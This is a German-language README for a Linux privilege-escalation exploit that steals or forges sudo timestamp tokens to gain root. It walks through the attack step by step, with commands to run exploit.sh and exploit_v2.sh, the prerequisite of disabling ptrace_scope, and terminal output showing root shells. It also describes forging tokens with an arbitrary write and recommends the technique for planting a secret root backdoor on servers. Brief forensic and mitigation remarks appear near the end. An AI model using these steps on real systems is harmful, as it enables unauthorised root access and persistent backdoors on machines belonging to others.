
[Linux] Zwei Privilege-Escalation-Techniken, die das sudo-Token missbrauchen
Wir alle haben bemerkt, dass sudo uns manchmal nicht nach einem Passwort fragt, weil es sich an uns erinnert. Wie erinnert es sich an uns und wie identifiziert es uns? Können wir unsere Identität fälschen und root werden? Soweit ich weiß, ist diese Forschung noch nicht dokumentiert, aber lass es mich wissen, falls doch. Tatsächlich erstellt sudo für jeden Linux-Benutzer eine Datei in /var/run/sudo/ts/[username]. Diese Dateien enthalten sowohl erfolgreiche als auch fehlgeschlagene Authentifizierungen. Sudo verwendet diese Dateien, um sich an alle authentifizierten Prozesse zu erinnern. -- @chaignc
Dieses Repository bietet dir:
PS: Voraussetzungen lesen!!
$ sudo whatever
[sudo] password for user: # Press <ctrl>+c since you don't have the password. # This creates an invalid sudo tokens.
$ sh exploit.sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)
Der Standard-Passwort-Timeout beträgt 15 Minuten. Wenn du sudo also zweimal innerhalb von 15 Minuten (900 Sekunden) verwendest, wirst du nicht erneut nach dem Passwort des Benutzers gefragt.
exploit.sh injiziert alle Shell-Prozesse, die dem aktuellen Benutzer gehören, und verwendet deren sudo-Token, um unser eigenes sudo-Token zu validieren. Es sind kaum 3 Zeilen Shell, wirf einen Blick darauf.
Das ist weit entfernt von einem generischen Privesc ohne Voraussetzungen, aber es funktioniert. Zum Beispiel: Wenn du eine RCE hast und das Benutzerpasswort nicht kennst, das Opfer aber sudo verwendet, kannst du leicht Root erlangen, indem du sein Token stiehlst.
# echo 0 > /proc/sys/kernel/yama/ptrace_scope
# # Don't worry this is not persistent accross reboot
Starte zwei Terminals:
Für diejenigen, die mit Exploit v1 weniger Glück haben, probiere die v2 aus.
$ ./exploit_v2.sh
Current process : 2441
chmod: changing permissions of 'activate_sudo_token': Operation not permitted
Injecting process 1721 -> bash
Injecting process 2433 -> bash
cat: /proc/2446/comm: No such file or directory
Injecting process 2446 ->
$ /tmp/sh -p
# id
uid=1001(test) gid=1001(test) euid=0(root) egid=0(root) groups=0(root),1001(test)
Die Ausgabe muss noch verbessert werden, aber jeder sudo-Versuch eines Prozesses hat einen Eintrag in /var/run/sudo/ts/[username]. Außerdem werden diese Dateien in tmpfs (RAM) gespeichert; man könnte ein Volatility-Plugin schreiben, um diese Informationen zu parsen und sudo-Versuche zu sammeln.
./read_sudo_token_forensic < /var/run/sudo/ts/user
version, flags, uid, sid, starttime_sec, starttime_nsec
2, 0, 0, 0, 0, 0
2, 0, 1001, 1145, 188, 660000000
2, 0, 1001, 24878, 7461, 490000000
2, 0, 1001, 24578, 6974, 10000000
Wenn du einen beliebigen Write hast, kannst du ein sudo-Token für deinen aktuellen Prozess erstellen, um Root-Codeausführung zu erlangen. Schau dir './write_sudo_token $$ > /var/run/sudo/ts/[username]' in extra_tools an.
Eine sehr gute Möglichkeit, eine geheime Root-Hintertür auf Servern zu erstellen, die selten neu gestartet werden. Noch nicht fertig, aber schau dir './write_sudo_token $$' in ./extra_tools an.
Ich habe nach einem Weg gesucht, das sudo-Token toter Prozesse zu stehlen, aber das scheint nicht möglich zu sein, weil sie über ((Prozessstartzeit und Prozess-Sitzungs-ID) oder (TTY-Startzeit und TTY-Sitzungs-ID)) zugeordnet werden. Die Sitzungs-ID (Prozess-PID) kann vorgetäuscht werden, aber die Prozessstartzeit ist nicht fälschbar.
kernel.yama.ptrace_scope = 1
Linux-basierte Interprozess-Codeinjektion ohne ptrace
Verschieben eines Prozesses in ein anderes Terminal
https://www.linusakesson.net/programming/tty/
Von @chaignc #HexpressoTeam.